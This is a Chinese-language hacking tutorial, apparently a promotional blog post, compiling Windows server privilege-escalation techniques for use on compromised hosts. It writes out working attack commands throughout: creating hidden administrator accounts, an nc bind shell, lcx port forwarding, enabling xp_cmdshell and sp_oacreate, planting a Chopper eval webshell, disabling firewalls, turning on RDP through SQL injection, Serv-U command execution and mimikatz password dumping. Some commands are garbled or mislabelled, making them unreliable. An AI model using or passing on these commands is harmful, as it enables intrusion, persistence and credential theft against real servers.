黑客所有渗透提权的方法都在这里了,绝对值得收藏

文件权限配置不当提权

1 普通提权

直接执行开启3389端口,执行net user username password /add & net localgroup administrators usernames /add

如果cmd被禁用,可尝试找可读、可写、可执行目录上传cmd.exe,然后远程连接。

2 启动项提权

@echo off

net user new222 123.com /add

net localgroup administrators new222 /add

将上述代码保存为1.bat文件

再将1.bat拷贝到C:\Documents and Settings\All Users\「开始」菜单\程序\启动\ 目录下,重启服务器即可。


3 NC反弹提权

找可读可写目录,上传nc.exe和cmd.exe (这里我均上传在c:\inetpub\ 目录下)

执行c:\inetpub\nc.exe -l -p 8888 -t -e c:\inetpub\Cmd.exe


打开本地dos: telnet 192.168.0.112 8888 (192.168.0.112为肉鸡ip)

发现变成肉鸡的shell


这里发现当前权限较小,可尝试通过pr.exe执行命令。


4 LCX端口转发

什么情况下适合转发端口?

1.服务器是内网,我们无法连接。

2.服务器上有防火墙,阻断我们的连接。

转发端口的前提,我们是外网或是有外网服务器。

找个可读可写目录上传lcx.exe

本地cmd命令:lcx.exe -listen 1988 4567 (监听本地1988端口并转发到4567端口)

接着shell命令:cmd /c c:\windows\temp\cookies\lcx.exe -slave 本机ip 1988 服务器ip 3389 (把服务器3389端口转发到本地4567端口)

之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)

以上是本机外网情况下操作,接着说下在外网服务器里如何操作:

上传lxc.exe cmd.exe到服务器且同一目录,执行cmd.exe命令:lcx.exe -listen 1988 4567

接着在aspx shell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。

5 溢出提权

pr提权

在上传大马,拿下shell后,尝试执行net user

发现拒绝访问,没有权限


找可读可写目录,上传cmd.exe。


这里上传到C:\Inetpub\


执行whoami,发现权限为network service,较低。执行net user admin1 admin1 /add失败,没有权限。


执行systeminfo发现没有打补丁,上传pr.exe.

这里上传到C:\Inetpub\


使用pr.exe执行whoami,发现已经是system权限。接着可以创建用户。。。

Ps:这里环境有问题,用公司的2003做的同样操作,复现

Churrasco提权

用法同pr提权,原理一样。

6 数据库提权

必须具备数据库管理员权限才能执行提权操作。例如sqlmap里面 --is-dba

Mssql

Mssql-xp_cmdshell提权

使用sqltools工具,利用xp_cmdshell提权。

这里没有搭建环境,没法复现了。这里默认是允许外连的情况。

按照下面输入账号密码,执行系统命令一通操作,即提权成功。

如果'xp-cmdshell'不存在,执行:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'user connections',1;
RECONFIGURE;


如果xp_cmdshell组件没有开启,可以执行命令开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; //开启xp_cmdshell

可以执行exec xp_cmdshell 'whoami' 查看是否开启成功


#关闭xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; //关闭xp_cmdshell

#附:

MSSQL语句开启3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--


MSSQL语句关闭3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;--


dos命令开启3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


dos命令关闭3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f


win7及以上

netsh advfirewall set allprofiles state on //开启防火墙

netsh advfirewall set allprofiles state off //关闭防火墙


win2003系统使用如下命令

netsh firewall set opmode mode=ENABLE //开启防火墙

netsh firewall set opmode mode=ENABLE //关闭防火墙


此时,可以写入一句话,连菜刀:

exec xp_cmdshell 'echo ^<%@ page language='Jscript'>^<%eval(request.item["chopper"],"unsafe");%^> > d:/a/muma.aspx'

使用菜刀可以上传文件,配合上传做一些操作。比如上传“Getpass”等敏感文件。


如果没有开启外连,可以使用大马里面的SQL-sa提权。

如果没有开启外连也没有开启xp_cmdshell组件,同样上传aspx大马开组件,提权。

Mssql-sp_oacreate提权

前提:

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

开启sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; //开启sp_oacreate


##关闭sp_oacreate


exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; //关闭sp_oacreate


创建账号:


declare @shell int

exec sp_oacreate 'wscript.shell', @shell out

exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" '

参考:
https://www.jianshu.com/p/e79d2a42338b

Mysql

udf提权

上传udf提权马。Ps:这里是tools提权马

由于mysql版本大于5.1,创建plugin目录。


导出udf.dll文件

创建函数

执行命令,发现是管理员权限

创建用户

成功执行。

Nc端口转发提权

通过大马创建端口转发函数,执行反弹:

本地监听

7 第三方软件提权

Server-U提权

查看是否有修改权限,如果有读写权限,修改server-u默认安装目录下面的SerUDaemon.ini文件,创建ftp用户,连接,执行命令创建用户:

quote site exec net user aa 123.com /add

quote site exec net localgroup administrators aa/add

如果没有修改权限,可以使用大马serv-u提权进行溢出提权。


注:43958是serv-u默认的端口。

尝试在ServUDaemon.ini配置文件里面,创建新的用户,辅助提权。


发现没有权限写入,这里不再尝试破解hash。而是通过大马所带“ServU-提权”进行溢出提权。

如果管理员修改密码,可以尝试把ServUAdmin.exe下载到本地,使用C32Asm.exe以16进制打开,ctrl+F查找,使用ANSI类型搜索,查找真实密码。如下:

8 破解hash提权

Getpass

这里在win2003没有试验成功,后在2008上面能复现。如下:


Pwdump7

mimikatz

第一条:privilege::debug

//提升权限

第二条:sekurlsa::logonpasswords

//抓取密码

9 开启远程

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /fccccc

保存为1.reg,文件,然后执行,或者直接在cmd.exe里执行。

SQL语句直接开启3389


3389登陆关键注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\DenyTSConnections

其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。

而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。

开启3389的SQL语句: syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\TerminalServer’,'fDenyTSConnections’,'REG_DWORD’,0;–

关闭3389的SQL语句:syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\TerminalServer’,'fDenyTSConnections’,'REG_DWORD’,1;–

2003可以实现一句话开3389:reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f


最后喜欢我文章的朋友请加圈子关注我们,私信关键词:学习。(送免费资料和优惠券)

就会自动分享给你微信号。欢迎大家加入我们的安全大家庭。提高大家的安全意识,提升大家的网络安全技能一直是我们的初衷和愿景,让我们共同成为守护信息世界的"SaFeMAN"。

还有可以关注我们微信公众号,在公众号上输入安界网,就可以关注到我们,领取资料和优惠券

原文链接:,转发请注明来源!